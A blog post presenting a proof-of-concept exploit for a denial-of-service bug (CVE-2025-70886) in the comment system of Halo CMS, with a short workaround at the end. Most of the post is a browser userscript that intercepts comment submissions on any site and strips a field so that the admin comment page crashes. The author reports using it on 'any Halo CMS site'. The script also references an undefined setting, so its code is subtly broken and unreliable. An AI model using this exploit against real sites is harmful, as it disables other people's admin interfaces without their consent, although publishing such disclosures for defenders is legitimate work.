CVE-2025-70886 Proof of Concept (PoC) | A Script to Crash Halo CMS Comment Backend

77 1.4~1.8 分钟 635

简体中文 | English

A Proof of Concept (PoC) exploit for CVE-2025-70886, a persistent denial-of-service vulnerability in Halo CMS (v2.22.4 and earlier) that allows remote attackers to crash the admin comment interface by submitting malformed payloads.

Introduction

While surfing the web, I found Issue #7890 · halo-dev/halo. I thought this issue was submitted on November 1, 2025, and it's now January 4, 2026, so it should have been fixed by now.

Reproduction

With AI assistance, I quickly wrote the following Tampermonkey script for verification:

Click to expand details
// ==UserScript==
// @name         Modify Halo comment payload
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    'use strict';
    console.log('[modify_halo_comment] script started');
    const targetPath = '/apis/api.halo.run/v1alpha1/comments';

    const REMOVE = {
        paths: [
            'subjectRef.version',
        ]
    };

    function deletePath(obj, dottedPath) {
        if (!obj || typeof obj !== 'object') return false;
        const parts = String(dottedPath).split('.').filter(Boolean);
        if (parts.length === 0) return false;

        let current = obj;
        for (let i = 0; i < parts.length - 1; i++) {
            const key = parts[i];
            if (!current || typeof current !== 'object') return false;
            current = current[key];
        }
        if (!current || typeof current !== 'object') return false;
        const lastKey = parts[parts.length - 1];
        if (lastKey in current) {
            delete current[lastKey];
            return true;
        }
        return false;
    }

    function stripFields(obj) {
        let modified = false;

        if (obj && typeof obj === 'object') {
            for (const key of REMOVE.topLevelKeys) {
                if (key in obj) {
                    delete obj[key];
                    modified = true;
                }
            }
            for (const path of REMOVE.paths) {
                if (deletePath(obj, path)) modified = true;
            }
        }

        return modified;
    }

    // --- patch fetch ---
    const _fetch = window.fetch;
    window.fetch = async function (input, init) {
        try {
            const req = (input instanceof Request) ? input : null;
            const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
            let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
            let method = (init && init.method) || (req && req.method) || 'GET';

            if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
                console.log('[modify_halo_comment] intercept', { url, method });
                const serializeBody = async (body) => {
                    if (typeof body === 'string') return body;
                    if (body instanceof Blob) return await body.text();
                    if (body instanceof FormData) return null;
                    if (body && typeof body === 'object') {
                        try { return JSON.stringify(body); } catch (e) { }
                    }
                    return null;
                };

                const tryModify = (rawBody) => {
                    if (!rawBody) return null;
                    try {
                        const obj = JSON.parse(rawBody);
                        const changed = stripFields(obj);
                        if (changed) {
                            const out = JSON.stringify(obj);
                            console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
                            return out;
                        }
                        console.log('[modify_halo_comment] no fields matched; not modified');
                    } catch (e) { }
                    return null;
                };

                if (init && 'body' in init && init.body != null) {
                    const serialized = await serializeBody(init.body);
                    console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
                    const modified = tryModify(serialized);
                    if (modified) {
                        init = Object.assign({}, init, { body: modified });
                        console.log('[modify_halo_comment] removed configured fields (fetch init)');
                    }
                } else if (req) {
                    const cloned = req.clone();
                    const text = await cloned.text();
                    const modified = tryModify(text);
                    if (modified) {
                        const reqInit = {
                            method: req.method,
                            headers: req.headers,
                            body: modified,
                            referrer: req.referrer,
                            referrerPolicy: req.referrerPolicy,
                            mode: req.mode,
                            credentials: req.credentials,
                            cache: req.cache,
                            redirect: req.redirect,
                            integrity: req.integrity,
                            keepalive: req.keepalive,
                            signal: req.signal
                        };
                        input = new Request(req.url, reqInit);
                        console.log('[modify_halo_comment] removed configured fields (fetch Request)');
                    }
                }
            }
        } catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
        return _fetch.call(this, input, init);
    };
})();

After loading the script, I went to any Halo CMS site and posted a comment. After submitting the comment, the backend comment page throws errors, showing an internal server error.

Workaround

The solution is to download the Data Studio plugin to delete the malicious comments.

Environment

Tested on:

  • Halo CMS: v2.22.4
  • Comment Component: v3.0.0

Acknowledgments:
Thanks to 林间拾语 for helping with testing.


0
上一篇 自定义网页鼠标指针——一段曲折的旅程
下一篇 静态资源预压缩:零运行时开销,极致节省带宽